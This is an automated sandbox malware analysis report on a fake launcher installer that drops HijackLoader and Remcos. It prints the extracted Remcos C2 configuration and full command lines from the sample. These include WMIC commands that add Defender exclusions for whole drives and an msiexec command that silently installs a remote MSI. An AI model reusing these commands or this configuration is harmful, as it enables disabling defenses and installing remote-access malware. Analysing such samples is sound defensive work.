Analysis
-
max time kernel
149s -
max time network
147s -
platform
windows11-21h2_x64 -
resource
win11-20241007-en -
resource tags
arch:x64arch:x86image:win11-20241007-enlocale:en-usos:windows11-21h2-x64system -
submitted
17-11-2024 09:46
Static task
static1
Behavioral task
behavioral1
Sample
LauncherPred8.3.37Stablesetup.msi
Resource
win7-20241023-en
Behavioral task
behavioral2
Sample
LauncherPred8.3.37Stablesetup.msi
Resource
win10v2004-20241007-en
Behavioral task
behavioral3
Sample
LauncherPred8.3.37Stablesetup.msi
Resource
win11-20241007-en
General
-
Target
LauncherPred8.3.37Stablesetup.msi
-
Size
11.4MB
-
MD5
c628123d2539f5ae51b37a06bd179fc7
-
SHA1
139dfe6164e7c6ba6e2360673cf75801fd2add36
-
SHA256
f5dfa6b5d19d9334c69d24dd98f13cb30badacb6403b03afc47af4e267cbe0c2
-
SHA512
3cc3af8065b138719bae90720aeb37b15bb9412631aba972dab1d8d42e7507fd1d4ba231c96a0fe4b32b67e450594a95fe6d0fbc858bf2018b02b6d83ccda567
-
SSDEEP
196608:oEGAvNE+MNqCjsict52JykNWmKoahv02bfHJNeh5XK3zQlstPGaVB4L0iJP:QCBAK5XmooaBYhtKklkG
Malware Config
Extracted
remcos
v2
185.157.162.126:1995
-
audio_folder
MicRecords
-
audio_record_time
5
-
connect_delay
0
-
connect_interval
1
-
copy_file
remcos.exe
-
copy_folder
Remcos
-
delete_file
false
-
hide_file
false
-
hide_keylog_file
false
-
install_flag
false
-
keylog_crypt
false
-
keylog_file
logs.dat
-
keylog_flag
false
-
keylog_folder
remcos
-
mouse_option
false
-
mutex
qsdazeazd-EL00KX
-
screenshot_crypt
false
-
screenshot_flag
false
-
screenshot_folder
Screenshots
-
screenshot_path
%AppData%
-
screenshot_time
10
-
take_screenshot_option
false
-
take_screenshot_time
5
Signatures
-
Detects HijackLoader (aka IDAT Loader) 1 IoCs
resource yara_rule behavioral3/files/0x001900000002ab54-106.dat family_hijackloader -
HijackLoader
HijackLoader is a multistage loader first seen in 2023.
-
Hijackloader family
-
Remcos family
-
Use of msiexec (install) with remote resource 1 IoCs
pid Process 3188 msiexec.exe -
Blocklisted process makes network request 1 IoCs
flow pid Process 2 652 msiexec.exe -
Enumerates connected drives 3 TTPs 64 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\H: msiexec.exe -
pid Process 804 powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 488 set thread context of 3556 488 EHttpSrv.exe 116 PID 3556 set thread context of 2696 3556 cmd.exe 120 -
Drops file in Program Files directory 9 IoCs
description ioc Process File created C:\Program Files (x86)\sev\dev\updt\secondaryTask.vbs msiexec.exe File created C:\Program Files (x86)\sev\dev\updt\runTaskAsAdmin.vbs msiexec.exe File created C:\Program Files (x86)\sev\dev\updt\npp.8.4.2.Installer.x64.exe msiexec.exe File created C:\Program Files (x86)\sev\dev\ScreenRec_webinstall_all.exe msiexec.exe File created C:\Program Files (x86)\sev\dev\updt\task.vbs msiexec.exe File created C:\Program Files (x86)\sev\dev\updt\lola.bat msiexec.exe File created C:\Program Files (x86)\sev\dev\updt\VisualStudioSetup.exe msiexec.exe File created C:\Program Files (x86)\sev\dev\Firefox Installer.exe msiexec.exe File created C:\Program Files (x86)\sev\dev\updt\ScreenRec_webinstall_all.exe msiexec.exe -
Drops file in Windows directory 27 IoCs
description ioc Process File created C:\Windows\Installer\e57b7b7.msi msiexec.exe File created C:\Windows\SystemTemp\~DFD61F450474362CA9.TMP msiexec.exe File opened for modification C:\Windows\Installer\MSIEE29.tmp msiexec.exe File opened for modification C:\Windows\Installer\ msiexec.exe File opened for modification C:\Windows\Installer\MSIBA88.tmp msiexec.exe File opened for modification C:\Windows\Installer\inprogressinstallinfo.ipi msiexec.exe File created C:\Windows\SystemTemp\~DFCCFD01669E1FA74D.TMP msiexec.exe File opened for modification C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log msiexec.exe File opened for modification C:\Windows\Installer\MSIBA98.tmp msiexec.exe File created C:\Windows\Installer\SourceHash{9A85933A-E1A1-4421-ACF9-F9A12BFF4DF0} msiexec.exe File created C:\Windows\Installer\inprogressinstallinfo.ipi msiexec.exe File opened for modification C:\Windows\Installer\MSIB844.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIBAD8.tmp msiexec.exe File opened for modification C:\Windows\Installer\ msiexec.exe File created C:\Windows\Installer\inprogressinstallinfo.ipi msiexec.exe File opened for modification C:\Windows\Installer\e57b7b7.msi msiexec.exe File opened for modification C:\Windows\Installer\MSIBA19.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIF783.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIF7C3.tmp msiexec.exe File created C:\Windows\SystemTemp\~DF3CD0609600DC868D.TMP msiexec.exe File opened for modification C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log msiexec.exe File opened for modification C:\Windows\Installer\MSIF704.tmp msiexec.exe File created C:\Windows\SystemTemp\~DFF11846814658D647.TMP msiexec.exe File opened for modification C:\Windows\Installer\MSIF667.tmp msiexec.exe File created C:\Windows\SystemTemp\~DF2265596D2A07C676.TMP msiexec.exe File opened for modification C:\Windows\Installer\MSIBB66.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIF763.tmp msiexec.exe -
Executes dropped EXE 1 IoCs
pid Process 488 EHttpSrv.exe -
Loads dropped DLL 12 IoCs
pid Process 2980 MsiExec.exe 2980 MsiExec.exe 2980 MsiExec.exe 2980 MsiExec.exe 2980 MsiExec.exe 4148 MsiExec.exe 4148 MsiExec.exe 4148 MsiExec.exe 4148 MsiExec.exe 488 EHttpSrv.exe 488 EHttpSrv.exe 2696 EHttpSrv.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
pid Process 4512 msiexec.exe -
System Location Discovery: System Language Discovery 1 TTPs 5 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MsiExec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language EHttpSrv.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language EHttpSrv.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MsiExec.exe -
Delays execution with timeout.exe 4 IoCs
pid Process 484 timeout.exe 3468 timeout.exe 1760 timeout.exe 2808 timeout.exe -
Kills process with taskkill 2 IoCs
pid Process 3736 taskkill.exe 5040 taskkill.exe -
Modifies data under HKEY_USERS 3 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27 msiexec.exe Key deleted \REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\26\52C64B7E msiexec.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26 msiexec.exe -
Suspicious behavior: EnumeratesProcesses 9 IoCs
pid Process 1244 msiexec.exe 1244 msiexec.exe 804 powershell.exe 804 powershell.exe 652 msiexec.exe 652 msiexec.exe 488 EHttpSrv.exe 3556 cmd.exe 3556 cmd.exe -
Suspicious behavior: MapViewOfSection 3 IoCs
pid Process 488 EHttpSrv.exe 3556 cmd.exe 3556 cmd.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 4512 msiexec.exe Token: SeIncreaseQuotaPrivilege 4512 msiexec.exe Token: SeSecurityPrivilege 1244 msiexec.exe Token: SeCreateTokenPrivilege 4512 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 4512 msiexec.exe Token: SeLockMemoryPrivilege 4512 msiexec.exe Token: SeIncreaseQuotaPrivilege 4512 msiexec.exe Token: SeMachineAccountPrivilege 4512 msiexec.exe Token: SeTcbPrivilege 4512 msiexec.exe Token: SeSecurityPrivilege 4512 msiexec.exe Token: SeTakeOwnershipPrivilege 4512 msiexec.exe Token: SeLoadDriverPrivilege 4512 msiexec.exe Token: SeSystemProfilePrivilege 4512 msiexec.exe Token: SeSystemtimePrivilege 4512 msiexec.exe Token: SeProfSingleProcessPrivilege 4512 msiexec.exe Token: SeIncBasePriorityPrivilege 4512 msiexec.exe Token: SeCreatePagefilePrivilege 4512 msiexec.exe Token: SeCreatePermanentPrivilege 4512 msiexec.exe Token: SeBackupPrivilege 4512 msiexec.exe Token: SeRestorePrivilege 4512 msiexec.exe Token: SeShutdownPrivilege 4512 msiexec.exe Token: SeDebugPrivilege 4512 msiexec.exe Token: SeAuditPrivilege 4512 msiexec.exe Token: SeSystemEnvironmentPrivilege 4512 msiexec.exe Token: SeChangeNotifyPrivilege 4512 msiexec.exe Token: SeRemoteShutdownPrivilege 4512 msiexec.exe Token: SeUndockPrivilege 4512 msiexec.exe Token: SeSyncAgentPrivilege 4512 msiexec.exe Token: SeEnableDelegationPrivilege 4512 msiexec.exe Token: SeManageVolumePrivilege 4512 msiexec.exe Token: SeImpersonatePrivilege 4512 msiexec.exe Token: SeCreateGlobalPrivilege 4512 msiexec.exe Token: SeRestorePrivilege 1244 msiexec.exe Token: SeTakeOwnershipPrivilege 1244 msiexec.exe Token: SeRestorePrivilege 1244 msiexec.exe Token: SeTakeOwnershipPrivilege 1244 msiexec.exe Token: SeRestorePrivilege 1244 msiexec.exe Token: SeTakeOwnershipPrivilege 1244 msiexec.exe Token: SeRestorePrivilege 1244 msiexec.exe Token: SeTakeOwnershipPrivilege 1244 msiexec.exe Token: SeRestorePrivilege 1244 msiexec.exe Token: SeTakeOwnershipPrivilege 1244 msiexec.exe Token: SeRestorePrivilege 1244 msiexec.exe Token: SeTakeOwnershipPrivilege 1244 msiexec.exe Token: SeRestorePrivilege 1244 msiexec.exe Token: SeTakeOwnershipPrivilege 1244 msiexec.exe Token: SeRestorePrivilege 1244 msiexec.exe Token: SeTakeOwnershipPrivilege 1244 msiexec.exe Token: SeRestorePrivilege 1244 msiexec.exe Token: SeTakeOwnershipPrivilege 1244 msiexec.exe Token: SeDebugPrivilege 804 powershell.exe Token: SeIncreaseQuotaPrivilege 2216 WMIC.exe Token: SeSecurityPrivilege 2216 WMIC.exe Token: SeTakeOwnershipPrivilege 2216 WMIC.exe Token: SeLoadDriverPrivilege 2216 WMIC.exe Token: SeSystemProfilePrivilege 2216 WMIC.exe Token: SeSystemtimePrivilege 2216 WMIC.exe Token: SeProfSingleProcessPrivilege 2216 WMIC.exe Token: SeIncBasePriorityPrivilege 2216 WMIC.exe Token: SeCreatePagefilePrivilege 2216 WMIC.exe Token: SeBackupPrivilege 2216 WMIC.exe Token: SeRestorePrivilege 2216 WMIC.exe Token: SeShutdownPrivilege 2216 WMIC.exe Token: SeDebugPrivilege 2216 WMIC.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 4512 msiexec.exe -
Suspicious use of WriteProcessMemory 58 IoCs
description pid Process procid_target PID 1244 wrote to memory of 2980 1244 msiexec.exe 83 PID 1244 wrote to memory of 2980 1244 msiexec.exe 83 PID 1244 wrote to memory of 2980 1244 msiexec.exe 83 PID 1244 wrote to memory of 1740 1244 msiexec.exe 84 PID 1244 wrote to memory of 1740 1244 msiexec.exe 84 PID 1740 wrote to memory of 132 1740 cmd.exe 86 PID 1740 wrote to memory of 132 1740 cmd.exe 86 PID 1740 wrote to memory of 1760 1740 cmd.exe 87 PID 1740 wrote to memory of 1760 1740 cmd.exe 87 PID 1740 wrote to memory of 2808 1740 cmd.exe 88 PID 1740 wrote to memory of 2808 1740 cmd.exe 88 PID 1740 wrote to memory of 484 1740 cmd.exe 89 PID 1740 wrote to memory of 484 1740 cmd.exe 89 PID 1740 wrote to memory of 2920 1740 cmd.exe 90 PID 1740 wrote to memory of 2920 1740 cmd.exe 90 PID 2920 wrote to memory of 804 2920 cscript.exe 91 PID 2920 wrote to memory of 804 2920 cscript.exe 91 PID 1740 wrote to memory of 3468 1740 cmd.exe 93 PID 1740 wrote to memory of 3468 1740 cmd.exe 93 PID 804 wrote to memory of 2300 804 powershell.exe 94 PID 804 wrote to memory of 2300 804 powershell.exe 94 PID 2300 wrote to memory of 648 2300 wscript.exe 95 PID 2300 wrote to memory of 648 2300 wscript.exe 95 PID 648 wrote to memory of 2216 648 cmd.exe 97 PID 648 wrote to memory of 2216 648 cmd.exe 97 PID 2300 wrote to memory of 4964 2300 wscript.exe 99 PID 2300 wrote to memory of 4964 2300 wscript.exe 99 PID 4964 wrote to memory of 4944 4964 cmd.exe 101 PID 4964 wrote to memory of 4944 4964 cmd.exe 101 PID 2300 wrote to memory of 4164 2300 wscript.exe 102 PID 2300 wrote to memory of 4164 2300 wscript.exe 102 PID 4164 wrote to memory of 3736 4164 cmd.exe 104 PID 4164 wrote to memory of 3736 4164 cmd.exe 104 PID 2300 wrote to memory of 3208 2300 wscript.exe 106 PID 2300 wrote to memory of 3208 2300 wscript.exe 106 PID 3208 wrote to memory of 5040 3208 cmd.exe 108 PID 3208 wrote to memory of 5040 3208 cmd.exe 108 PID 2300 wrote to memory of 3788 2300 wscript.exe 109 PID 2300 wrote to memory of 3788 2300 wscript.exe 109 PID 2300 wrote to memory of 4004 2300 wscript.exe 111 PID 2300 wrote to memory of 4004 2300 wscript.exe 111 PID 4004 wrote to memory of 3188 4004 wscript.exe 112 PID 4004 wrote to memory of 3188 4004 wscript.exe 112 PID 652 wrote to memory of 4148 652 msiexec.exe 114 PID 652 wrote to memory of 4148 652 msiexec.exe 114 PID 652 wrote to memory of 4148 652 msiexec.exe 114 PID 652 wrote to memory of 488 652 msiexec.exe 115 PID 652 wrote to memory of 488 652 msiexec.exe 115 PID 652 wrote to memory of 488 652 msiexec.exe 115 PID 488 wrote to memory of 3556 488 EHttpSrv.exe 116 PID 488 wrote to memory of 3556 488 EHttpSrv.exe 116 PID 488 wrote to memory of 3556 488 EHttpSrv.exe 116 PID 488 wrote to memory of 3556 488 EHttpSrv.exe 116 PID 3556 wrote to memory of 2696 3556 cmd.exe 120 PID 3556 wrote to memory of 2696 3556 cmd.exe 120 PID 3556 wrote to memory of 2696 3556 cmd.exe 120 PID 3556 wrote to memory of 2696 3556 cmd.exe 120 PID 3556 wrote to memory of 2696 3556 cmd.exe 120
Processes
-
C:\Windows\system32\msiexec.exemsiexec.exe /I C:\Users\Admin\AppData\Local\Temp\LauncherPred8.3.37Stablesetup.msi1⤵
- Enumerates connected drives
- Event Triggered Execution: Installer Packages
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:4512
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Enumerates connected drives
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1244 -
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding EC21DBE313170DD77F4991C9121EE6002⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:2980
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\sev\dev\updt\lola.bat""2⤵
- Suspicious use of WriteProcessMemory
PID:1740 -
C:\Windows\system32\chcp.comchcp 650013⤵PID:132
-
-
C:\Windows\system32\timeout.exetimeout /t 1 /nobreak3⤵
- Delays execution with timeout.exe
PID:1760
-
-
C:\Windows\system32\timeout.exetimeout /t 1 /nobreak3⤵
- Delays execution with timeout.exe
PID:2808
-
-
C:\Windows\system32\timeout.exetimeout /t 3 /nobreak3⤵
- Delays execution with timeout.exe
PID:484
-
-
C:\Windows\system32\cscript.execscript //nologo "C:\Program Files (x86)\sev\dev\updt\runTaskAsAdmin.vbs"3⤵
- Suspicious use of WriteProcessMemory
PID:2920 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "Start-Process wscript.exe -ArgumentList '""C:\Program Files (x86)\sev\dev\updt\task.vbs""' -Verb runAs"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:804 -
C:\Windows\system32\wscript.exe"C:\Windows\system32\wscript.exe" "C:\Program Files (x86)\sev\dev\updt\task.vbs5⤵
- Suspicious use of WriteProcessMemory
PID:2300 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c Wmic.exe /Namespace:\\root\Microsoft\Windows\Defender class MSFT_MpPreference call Add ExclusionPath="C:\"6⤵
- Suspicious use of WriteProcessMemory
PID:648 -
C:\Windows\System32\Wbem\WMIC.exeWmic.exe /Namespace:\\root\Microsoft\Windows\Defender class MSFT_MpPreference call Add ExclusionPath="C:\"7⤵
- Suspicious use of AdjustPrivilegeToken
PID:2216
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c Wmic.exe /Namespace:\\root\Microsoft\Windows\Defender class MSFT_MpPreference call Add ExclusionPath="F:\"6⤵
- Suspicious use of WriteProcessMemory
PID:4964 -
C:\Windows\System32\Wbem\WMIC.exeWmic.exe /Namespace:\\root\Microsoft\Windows\Defender class MSFT_MpPreference call Add ExclusionPath="F:\"7⤵PID:4944
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /f /im cmd.exe6⤵
- Suspicious use of WriteProcessMemory
PID:4164 -
C:\Windows\system32\taskkill.exetaskkill /f /im cmd.exe7⤵
- Kills process with taskkill
PID:3736
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /f /im msiexec.exe6⤵
- Suspicious use of WriteProcessMemory
PID:3208 -
C:\Windows\system32\taskkill.exetaskkill /f /im msiexec.exe7⤵
- Kills process with taskkill
PID:5040
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c echo Script started >> "C:\Users\root\Desktop\wix\log.txt"6⤵PID:3788
-
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" "C:\Program Files (x86)\sev\dev\updt\secondaryTask.vbs" /b6⤵
- Suspicious use of WriteProcessMemory
PID:4004 -
C:\Windows\System32\msiexec.exe"C:\Windows\System32\msiexec.exe" /i https://gersgaming.s3.us-east-2.amazonaws.com/Slf.msi /qn7⤵
- Use of msiexec (install) with remote resource
PID:3188
-
-
-
-
-
-
C:\Windows\system32\timeout.exetimeout /t 60 /nobreak3⤵
- Delays execution with timeout.exe
PID:3468
-
-
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Blocklisted process makes network request
- Enumerates connected drives
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:652 -
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding B495AE5E8000D744CB93F2C88297BA492⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:4148
-
-
C:\Users\Admin\AppData\Local\Temp\EHttpSrv.exe"C:\Users\Admin\AppData\Local\Temp\EHttpSrv.exe"2⤵
- Suspicious use of SetThreadContext
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:488 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\SysWOW64\cmd.exe3⤵
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:3556 -
C:\Users\Admin\AppData\Local\Temp\EHttpSrv.exeC:\Users\Admin\AppData\Local\Temp\EHttpSrv.exe4⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:2696
-
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
2KB
MD5b1f3d1aee7b32d0f7aac4f73104f1921
SHA1c5cc7974ec483636a27d36018ab76277632df9ba
SHA256689d575658435e4a483e1a65c38c0ed8bd4ce645d329d23a5d37a56fab775c3f
SHA512712f6f2984d8d9046fb550daaecdde54aca2bff2b91cb67c57d8195a2611cec4e0bdae8b7c303da0b81b361562d71b062556986e4667ef3b0d549cf54d0d7f42
-
Filesize
2KB
MD511090dd64aec62c7927ede8e7f96e970
SHA1680dccd64084597279cf0cb66a2bc2bc0295c0ba
SHA2566c82a2d1677065e038fbead0329cd244729e54398c3a123d7571cd5f7f2f6dfe
SHA512580d484dfe4b4e598d5a2f914eada1ab3262eb50dc39d13545940ec9fb3a5ac2089d8c8cd89669a18ca17e482de6eee33f937dd764cd09a02aa66b0075906ade
-
Filesize
928B
MD5200bfb54cca80c3a3b50dd9c479d580b
SHA1b2ac137e8d188dd4a9b0ad5e329714e3e7f2bd7c
SHA25618aece804e2854d1aee6d3e289e8dfe9dcc832f67b84f47e4937aa41ed8250c7
SHA51298909b213290980013d584389af154ee890949850c97c9512014984e29d779f6e554413b3086b1986e11169e95edf8b019b04b4d7fd475adcffb83f7c3f7779c
-
Filesize
659B
MD594d85f8f350a1f6fe8e700b87f5b4eea
SHA10dc9e11c55b3e056eeadb9cfe6ef2b6bd98300ea
SHA256cb7294f1c425ad49aa0e487d36cfb580c303db25d1f69ea3fa08d81d29fc21ba
SHA5120226c2662e4d6d2f473f075e8d200d55a3b18deacb40365450866039dafeb206ed6ea9216149d1ac5f1a19e8f185381b796d7f4fa3bb08c4558b6b292838e9c5
-
Filesize
869B
MD58532766ca0ae0adf46849cc89d54486a
SHA17bba7004901617e97855ddd6d5cc81f7c95ee3e7
SHA256264b66a6d0b79faea0171a06441587cb910aaf815d7120ad2951fc7a5462dfcd
SHA5121e1e2d5c3f7a394efb524c5f7b093201e9f4a9483a8146e44896b34b3dffbb74b213b04a904be064e39ef782b0b357a50444673faa42466e8b43219959e06762
-
Filesize
2KB
MD5c8be5f9ad4d51e45019e4b7471281257
SHA10b6b9cc0495bc9f67ecf2299657b380b256f1611
SHA256d88e84ec97091ad59b8ce69b5c678e210514bde7f880f6e72367cefc35053c9c
SHA512bde94e0cf77a407a8cbd24c8f79d961c6858c336cac8a5809178f7f62bf2749fe75715ab69183855c98c1dae2936a949e215c6a775c48b2d73d76bcd9bce68ce
-
Filesize
1.0MB
MD520c2de69e6141448ee896a7ccfb09033
SHA12de4f5518ac79debf3bff7bd9dc5bb48710f1914
SHA25622218216cb8f5ab5ea9795a4e07ff678b81cb718f2e86ff0dfe3c96ad584821b
SHA512d03b6268953a82b961544f2a4c1b2108e9a00eeafd9b8092f7ccd6c8de34dc87a965b7b4128f2cae3ee4b9fcd062ce0048a6c86aebe19257a52bb06dfada50e7
-
Filesize
20KB
MD59329ba45c8b97485926a171e34c2abb8
SHA120118bc0432b4e8b3660a4b038b20ca28f721e5c
SHA256effa6fcb8759375b4089ccf61202a5c63243f4102872e64e3eb0a1bdc2727659
SHA5120af06b5495142ba0632a46be0778a7bd3d507e9848b3159436aa504536919abbcacd8b740ef4b591296e86604b49e0642fee2c273a45e44b41a80f91a1d52acc
-
Filesize
1.0MB
MD5686b224b4987c22b153fbb545fee9657
SHA1684ee9f018fbb0bbf6ffa590f3782ba49d5d096c
SHA256a2ac851f35066c2f13a7452b7a9a3fee05bfb42907ae77a6b85b212a2227fc36
SHA51244d65db91ceea351d2b6217eaa27358dbc2ed27c9a83d226b59aecb336a9252b60aec5ce5e646706a2af5631d5ee0f721231ec751e97e47bbbc32d5f40908875
-
Filesize
48KB
MD50a1fb0c1edf70465004016b7305c2787
SHA1a8cc2d2ed8a4aa3fa07258ea9e2a8fbb036e70d6
SHA2568f4eb416c0b4623044caa5fc8781334a98993484018e811945a578c345fae2bc
SHA5129a8b81f47cbbd387bcb5857a700ac4f77b58f86046bcb463c6461d727d4742583a1604561f0f0627dc3e6245863cc6fcd2fc6278bb3e06fb8150c60e7f1ca112
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
877KB
MD55124236fd955464317fbb1f344a1d2f2
SHA1fe3a91e252f1dc3c3b4980ade7157369ea6f5097
SHA256ed1389002cdf96c9b54de35b6e972166ee3296d628943fd594a383e674c5cba6
SHA5122b2ac23244b16f936ef9a4049586f58c809fcc4391a56390cc5db2e8d96140001e0b977680ed1d8b0ab9c410e865a880209e22add8d42e563dc40bc91236b252
-
Filesize
883KB
MD54366cd6c5d795811822b9ccc3df3eab4
SHA130f6050729b4c08b7657454cb79dd5a3d463c606
SHA25655497a3eced5d8d190400bcd1a4b43a304ebf74a0d6d098665474ed4b1b0e9da
SHA5124a56a2da7ded16125c2795d5760c7c08a93362536c9212cff3a31dbf6613cb3fca436efd77c256338f5134da955bc7ccc564b4af0c45ac0dfd645460b922a349
-
Filesize
557KB
MD52c9c51ac508570303c6d46c0571ea3a1
SHA1e3e0fe08fa11a43c8bca533f212bdf0704c726d5
SHA256ff86c76a8d5846b3a1ad58ff2fd8e5a06a84eb5899cdee98e59c548d33335550
SHA512df5f1def5aac44f39a2dfde9c6c73f15f83a7374b4ad42b67e425ccb7ac99a64c5701b676ae46d2f7167a04a955158031a839e7878d100aaf8fab0ce2059f127
-
Filesize
1.1MB
MD57768d9d4634bf3dc159cebb6f3ea4718
SHA1a297e0e4dd61ee8f5e88916af1ee6596cd216f26
SHA256745de246181eb58f48224e6433c810ffbaa67fba330c616f03a7361fb1edb121
SHA512985bbf38667609f6a422a22af34d9382ae4112e7995f87b6053a683a0aaa647e17ba70a7a83b5e1309f201fc12a53db3c13ffd2b0fad44c1374fff6f07059cbf
-
Filesize
155KB
MD5dd5a1b474b67cf955d6ad0d773387ed4
SHA1b767a9c42c08c1140faffa2638c8b035a3c8dc12
SHA2568426c9911e9932a9fb58be034168505244175fb67d0b3121fc37db7c9a6cd57e
SHA5121983462d465e212b65d417fcd96616529fa2c62003d422a669dbb4a21b950728500c34ba8096a7866a25e86bdc5782ded15d80c5b35bb9d9ff9252c9e1a82879